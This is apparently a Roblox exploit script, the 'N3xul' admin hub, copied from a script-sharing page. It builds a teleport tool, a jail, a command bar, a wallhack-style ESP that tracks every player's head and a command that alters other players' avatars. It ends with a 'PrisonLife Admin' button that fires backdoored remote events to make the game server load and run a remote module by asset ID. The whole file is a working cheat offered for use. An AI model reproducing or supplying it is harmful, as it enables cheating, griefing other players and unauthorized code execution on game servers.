notifyNOTE.Size = UDim2.new(1,0,1,0)
notifyNOTE.ZIndex = 10
notifyNOTE.FontSize = 'Size24'
notifyNOTE.Font = 'SourceSans'
notifyNOTE.Text = 'NOTIFY'
notifyNOTE.TextColor = BrickColor.new(0,0,0)
notifyNOTE.TextStrokeColor3 = Color3.new(255,255,255)
notifyNOTE.TextStrokeTransparency = 0.8

tpTool = Instance.new('HopperBin', DATA)


tpTool.Name = 'Teleport'
tpScript = Instance.new('LocalScript', tpTool)
tpScript.Source =
[[
local Player = game.Players.LocalPlayer
local Mouse = Player:GetMouse()

local Tool = script.Parent

Mouse.Button1Down:connect(function()
if Mouse.Target and Tool.Active then
Player.Character.HumanoidRootPart.CFrame = Mouse.Hit +
Vector3.new(0,2,0)
end
end)
]]

modJAIL = Instance.new('Model', DATA)


modJAIL.Name = 'JAIL'
botJAIL = Instance.new('Part', modJAIL)
botJAIL.Name = 'BOTTOM'
botJAIL.BrickColor = BrickColor.new('Black')
botJAIL.Transparency = 0.5
botJAIL.Position = Vector3.new(-6.2,0.5,-11.6)
botJAIL.Anchored = true
botJAIL.Locked = true
botJAIL.Size = Vector3.new(6,1,6)
botJAIL.TopSurface = 'Smooth'
botJAIL.BottomSurface = 'Smooth'
topJAIL = Instance.new('Part', modJAIL)
topJAIL.Name = 'BOTTOM'
topJAIL.BrickColor = BrickColor.new('Black')
topJAIL.Transparency = 0.5
topJAIL.Position = Vector3.new(-6.2,7.5,-11.6)
topJAIL.Anchored = true
topJAIL.Locked = true
topJAIL.Size = Vector3.new(6,1,6)
topJAIL.TopSurface = 'Smooth'
topJAIL.BottomSurface = 'Smooth'
p1 = Instance.new('Part', modJAIL)
p1.Name = 'MAIN'
p1.BrickColor = BrickColor.new('Black')
p1.Transparency = 1
p1.Position = Vector3.new(-8.7,4,-11.6)
p1.Rotation = Vector3.new(-180,0,-180)
p1.Anchored = true
p1.Locked = true
p1.Size = Vector3.new(1,6,4)
p1.TopSurface = 'Smooth'
p1.BottomSurface = 'Smooth'
p2 = Instance.new('Part', modJAIL)
p2.BrickColor = BrickColor.new('Black')
p2.Transparency = 0.5
p2.Position = Vector3.new(-3.7,4,-14.1)
p2.Anchored = true
p2.Locked = true
p2.Size = Vector3.new(1,6,1)
p2.TopSurface = 'Smooth'
p2.BottomSurface = 'Smooth'
p3 = Instance.new('Part', modJAIL)
p3.BrickColor = BrickColor.new('Black')
p3.Transparency = 0.5
p3.Position = Vector3.new(-8.7,4,-9.1)
p3.Anchored = true
p3.Locked = true
p3.Size = Vector3.new(1,6,1)
p3.TopSurface = 'Smooth'
p3.BottomSurface = 'Smooth'
p4 = Instance.new('Part', modJAIL)
p4.BrickColor = BrickColor.new('Black')
p4.Transparency = 0.5
p4.Position = Vector3.new(-3.7,4,-9.1)
p4.Anchored = true
p4.Locked = true
p4.Size = Vector3.new(1,6,1)
p4.TopSurface = 'Smooth'
p4.BottomSurface = 'Smooth'
p5 = Instance.new('Part', modJAIL)
p5.BrickColor = BrickColor.new('Black')
p5.Transparency = 0.5
p5.Position = Vector3.new(-8.7,4,-14.1)
p5.Anchored = true
p5.Locked = true
p5.Size = Vector3.new(1,6,1)
p5.TopSurface = 'Smooth'
p5.BottomSurface = 'Smooth'
p6 = Instance.new('Part', modJAIL)
p6.BrickColor = BrickColor.new('Black')
p6.Transparency = 1
p6.Position = Vector3.new(-6.2,4,-14.1)
p6.Rotation = Vector3.new(0,90,0)
p6.Anchored = true
p6.Locked = true
p6.Size = Vector3.new(1,6,4)
p6.TopSurface = 'Smooth'
p6.BottomSurface = 'Smooth'
p7 = Instance.new('Part', modJAIL)
p7.BrickColor = BrickColor.new('Black')
p7.Transparency = 1
p7.Position = Vector3.new(-3.7,4,-11.6)
p7.Anchored = true
p7.Locked = true
p7.Size = Vector3.new(1,6,4)
p7.TopSurface = 'Smooth'
p7.BottomSurface = 'Smooth'
p8 = Instance.new('Part', modJAIL)
p8.BrickColor = BrickColor.new('Black')
p8.Transparency = 1
p8.Position = Vector3.new(-6.2,4,-9.1)
p8.Rotation = Vector3.new(0,90,0)
p8.Anchored = true
p8.Locked = true
p8.Size = Vector3.new(1,6,4)
p8.TopSurface = 'Smooth'
p8.BottomSurface = 'Smooth'

------------------------
---Even more commands---
------------------------

addcmd('ayylmao','ayy lmao',{''},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Shirt") then
pchar.Shirt:Destroy()
end
if pchar:FindFirstChild("Pants") then
pchar.Pants:Destroy()
end
if pchar:FindFirstChild("Shirt Graphic") then
pchar["Shirt Graphic"].Graphic = ""
end
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Hat") then
v:Destroy()
end
end
local ayylmao = DATA.ayylmao:Clone()
ayylmao.Parent = pchar
local BC = pchar["Body Colors"]
BC.HeadColor = BrickColor.new("Fossil")
BC.LeftArmColor = BrickColor.new("Fossil")
BC.LeftLegColor = BrickColor.new("Fossil")
BC.RightArmColor = BrickColor.new("Fossil")
BC.RightLegColor = BrickColor.new("Fossil")
BC.TorsoColor = BrickColor.new("Fossil")
end
end)

----------------------
-----Commands GUI-----
----------------------

CMDsFolder = Instance.new("Folder", game.CoreGui)

for i,v in pairs(CMDs) do


CMDsValue = Instance.new("StringValue", CMDsFolder)
CMDsValue.Value = v
CMDsValue.RobloxLocked = true
end

local function commands()


local cmds = DATA.CMDs:Clone()
cmds.Parent = Player.PlayerGui
local CMDsV = CMDsFolder:GetChildren()
for i = 1, #CMDsV do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = cmds.MAIN.Example:Clone()
newcmd.Parent = cmds.MAIN.CMDs
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = "" .. CMDsV[i].Value
cmds.MAIN.CMDs.CanvasSize = UDim2.new(0,0,0, Position + 30)
end
end

addcmd('cmds','prints cmds',{},
function(args)
commands()
end)

-----------------
---Command Bar---
-----------------

CMDbar.CMDbar.FocusLost:connect(function(enterpressed)
if enterpressed and CMDbar.CMDbar.Text ~= "" then
spawn(function ()
execCmd(CMDbar.CMDbar.Text, Player)
end)
end
CMDbar.CMDbar:TweenPosition(UDim2.new(0, -500, 0.7, 0), "InOut", "Quad", 0.5,
true, nil)
end)

Mouse.KeyDown:connect(function(Key)
if Key:byte() == 59 then
CMDbar.CMDbar:TweenPosition(UDim2.new(0, 0, 0.4, 0), "InOut", "Quad",
0.5, true, nil)
CMDbar.CMDbar:CaptureFocus()
end
end)

----------------
--ESP function--
----------------

local ESP = false


local track = false

function Create(base, team)


local MAIN = DATA.MAIN:Clone()
local F = MAIN.DOT
local ESP = MAIN.NAME

MAIN.Parent = Player.PlayerGui
MAIN.Adornee = base

F.Visible = true

ESP.Text = base.Parent.Name:upper()
ESP.Visible = true
end

function Clear()
for _,v in pairs(Player.PlayerGui:children()) do
if v.Name == "MAIN" and v:IsA("BillboardGui") then
v:Destroy()
end
end
end

function Find()
Clear()
track = true
spawn(function()
while wait() do
if track then
Clear()
for i,v in pairs(game.Players:players()) do
if v.Character and v.Character.Head then
Create(v.Character.Head, true)
end
end
end
wait(1)
end
end)
end

-------
--ESP--
-------

Mouse.KeyDown:connect(function(Key)
if Key:byte() == 30 then
if ESP == false then
Find()
ESP = true
elseif ESP == true then
Clear()
track = false
ESP = false
end
end
end)

---------------------------------
----Notify animation/movement----
---------------------------------

local NOTIFY = DATA.Notification


NOTIFY.Parent = game.CoreGui

local memes = DATA.Memes:Clone()


memes.Parent = Player.PlayerGui

local usingNOTE = false

function Notify(msg)
if usingNOTE == false then
if NOTIFY.NOTIFY and NOTIFY.NOTIFY.NOTE then
spawn(function()
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0.4, 0),
"InOut", "Quad", 0.5, true, nil)
NOTIFY.NOTIFY.NOTE.Text = msg
usingNOTE = true
wait(2.5)
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, -500, 0.7, 0),
"InOut", "Quad", 0.5, true, nil)
usingNOTE = false
end)
end
end
end

-------------------------
--Startup notifications--
-------------------------

wait(1)

if game.Workspace.FilteringEnabled == true then


NOTIFY.NOTIFY.BorderColor = BrickColor.new(255,0,0)
Notify('Filtering Status: ENABLED!')
elseif game.Workspace.FilteringEnabled == false then
NOTIFY.NOTIFY.BorderColor = BrickColor.new(0,255,0)
Notify('Filtering Status: Disabled.')
end

wait(2.6)

NOTIFY.NOTIFY.BorderColor = BrickColor.new(0,255,255)

Notify('N3xulis Loaded ' .. #cmds .. ' Commands.')

wait(2.6)

Notify('Welcome ' .. Player.Name .. '!')

wait(3)

Notify('Push ; for the command bar.')

wait(2.6)

Notify('Say ;cmds for commands')

wait(3)

Player.PlayerGui.Memes:Destroy()

-- __ __ ___
-- \/\ \ /\_ \ __
--\ \ `\\ \ __ __ _ __ __\//\ \ /\_\ ____
-- \ \ , ` \ /'__`\/\ \/'\/\ \/\ \ \ \ \ \/\ \ /',__\
-- \ \ \`\ \/\ __/\/> </\ \ \_\ \ \_\ \_\ \ \/\__, `\
-- \ \_\ \_\ \____\/\_/\_\\ \____/ /\____\\ \_\/\____/
-- \/_/\/_/\/____/\//\/_/ \/___/ \/____/ \/_/\/___/
---------------------------------------------------------------
--------------------------Version Beta--------------------------
---------------------------------------------------------------
---------------------------N3xul---------------------------
---------------------------------------------------------------
end)

Prison.Name = "Prison"
Prison.Parent = Admin
Prison.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Prison.Position = UDim2.new(0.269886345, 0, 0.72807014, 0)
Prison.Size = UDim2.new(0, 147, 0, 39)
Prison.Font = Enum.Font.Cartoon
Prison.Text = "PrisonLife Admin"
Prison.TextColor3 = Color3.new(0, 0, 0)
Prison.TextScaled = true
Prison.TextSize = 14
Prison.TextWrapped = true
Prison.MouseButton1Down:connect(function()
---This Script Is Not Made By Me!---
---MAKE SURE TO SUBSCRIBE TO VOICELESS!---

game.ReplicatedStorage.mynameemma.emma:FireServer('cGxzIGVtbWE=',game:GetService'Pl
ayers'.LocalPlayer.Name,1368306381)
game.ReplicatedStorage.RemoteEvent:FireServer([[require(1368306381).load"SonicElija
hMania"]])
end)
-- Scripts:

You might also like